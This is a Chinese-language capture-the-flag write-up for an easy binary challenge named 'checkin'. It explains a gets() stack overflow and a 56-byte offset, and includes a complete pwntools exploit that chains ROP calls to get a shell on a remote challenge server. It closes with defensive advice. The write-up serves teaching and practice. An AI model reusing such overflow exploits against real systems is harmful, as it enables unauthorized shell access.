纸翼

1. 题目概况#

• 题目名称：checkin
• 难度：Easy
• 核心考点：栈溢出漏洞利用、ROP链构造、函数调用链设计
• 保护机制：仅开启NX（No-eXecute，栈不可执行），无Canary（栈溢出保护）、无PIE（位置独立可执行）

2. 工具准备#

• 反编译工具：IDA Pro（64位）
• 调试工具：GDB（配合pwndbg插件）
• 漏洞利用框架：pwntools（Python库）
• 靶机连接：远程服务器（IP：8.148.153.211，端口：30817）

1. 程序逻辑拆解#

使用IDA反编译程序，得到核心函数逻辑：

1
int main() {
2
    setvbuf(stdout, 0, 2, 0);  // 关闭缓冲区，实时输出
3
    setvbuf(stdin, 0, 2, 0);   // 关闭缓冲区，实时输入
4
    puts("Welcome. Try to hack me.");
5
    vulnerable();  // 调用存在漏洞的函数
6
    return 0;
7
}

1
int64 vulnerable() {
2
    puts("Build your chain:");
3
    return gets();  // 危险函数：不检查输入长度，导致栈溢出
4
}

2. 后门函数分析#

程序中存在两个关键后门函数，可直接用于获取shell：

1
int decrypt_cmd() {
2
    puts("Decryption routine activated");
3
    for (int i = 0; i <= 7; ++i) {
4
        cmd[i] ^= key;  // 对全局变量cmd进行异或解密
5
    }
6
    return result;
7
}

1
int get_shell() {
2
    return system(cmd);  // 执行解密后的cmd命令（如/bin/sh）
3
}

3. 关键地址提取#

通过IDA获取函数和变量的虚拟地址（无PIE保护，地址固定）：

• decrypt_cmd函数地址：0x401196
• get_shell函数地址：0x4011F2
• vulnerable函数地址：0x40120C（用于验证栈布局）

1. 栈布局分析#

在vulnerable函数中，栈布局如下（64位程序，栈按8字节对齐）：

1
高地址
2
|----------------|
3
|  返回地址（RA） |  8字节（待覆盖）
4
|----------------|
5
|  基址指针（rbp）|  8字节
6
|----------------|
7
|  缓冲区（var_30）|  48字节（0x30 = 48）
8
|----------------|
9
低地址

• 缓冲区大小：var_30表示栈上偏移-0x30，即缓冲区长度为48字节；
• 需覆盖的内容：缓冲区（48字节）+ rbp（8字节）= 56字节，之后的内容将覆盖返回地址。

2. 偏移量计算#

偏移量 = 缓冲区大小 + rbp长度 = 0x30（48） + 0x8（8） = 0x38（56字节）。

验证方法：通过GDB调试，发送56个’A’（填充缓冲区和rbp）+ 8个’B’（覆盖返回地址），运行后程序会因访问0x4242424242424242（B的ASCII码）崩溃，证明偏移量正确。

1. ROP链设计思路#

由于开启NX保护，无法直接执行栈上的shellcode，需利用现有函数构造ROP链，控制程序执行流：

1. 用56个’A’填充缓冲区和rbp；
2. 覆盖返回地址为decrypt_cmd函数地址，让程序执行解密；
3. decrypt_cmd执行完毕后，返回地址设为get_shell函数地址，继续执行命令；
4. get_shell调用system(cmd)，获取交互式shell。

ROP链结构：

1
payload = b'A'*56 + p64(decrypt_cmd_addr) + p64(get_shell_addr)

2. 完整Exploit代码#

1
from pwn import *
2

3
# 配置环境：指定目标二进制文件，日志级别为info
4
context.binary = './chal'
5
context.log_level = 'info'
6

7
# 连接远程靶机（本地测试可改为process('./chal')）
8
p = remote('8.148.153.211', 30817)
9

10
# 关键函数地址（从IDA中提取）
11
decrypt_cmd_addr = 0x401196
12
get_shell_addr = 0x4011F2
13
offset = 0x30 + 0x8  # 48字节缓冲区 + 8字节rbp = 56字节偏移
14

15
# 构造ROP链：填充偏移 + 解密函数地址 + 执行shell函数地址
16
payload = b'A' * offset  # 填充缓冲区和rbp
17
payload += p64(decrypt_cmd_addr)  # 第一步：解密cmd命令
18
payload += p64(get_shell_addr)    # 第二步：执行解密后的命令
19

20
# 发送payload（等待程序输出"Build your chain:"后发送）
21
p.sendlineafter(b"Build your chain:\n", payload)
22

23
# 获取交互式shell
24
p.interactive()

3. 执行流程详解#

1. 程序运行至vulnerable()函数，调用gets()读取输入；
2. 输入的56个’A’填满缓冲区和rbp，之后的decrypt_cmd地址覆盖返回地址；
3. vulnerable()函数执行完毕，返回地址指向decrypt_cmd，程序开始解密cmd；
4. decrypt_cmd执行完毕后，栈顶存放的get_shell地址成为新的返回地址；
5. 程序跳转到get_shell，调用system(cmd)执行/bin/sh，获取shell；
6. 通过p.interactive()与靶机交互，执行ls、cat flag等命令获取flag。

1. 核心技术要点#

2. 防御建议#

• 替换危险函数：用fgets()（限制输入长度）替代gets()，用snprintf()替代sprintf()；
• 开启全保护机制：启用Canary（栈溢出检测）、PIE（地址随机化）、RELRO（重定位只读）；
• 避免后门函数：生产环境中禁止保留system()、execve()等可执行系统命令的后门；
• 输入长度检查：对所有用户输入进行严格的长度和格式验证。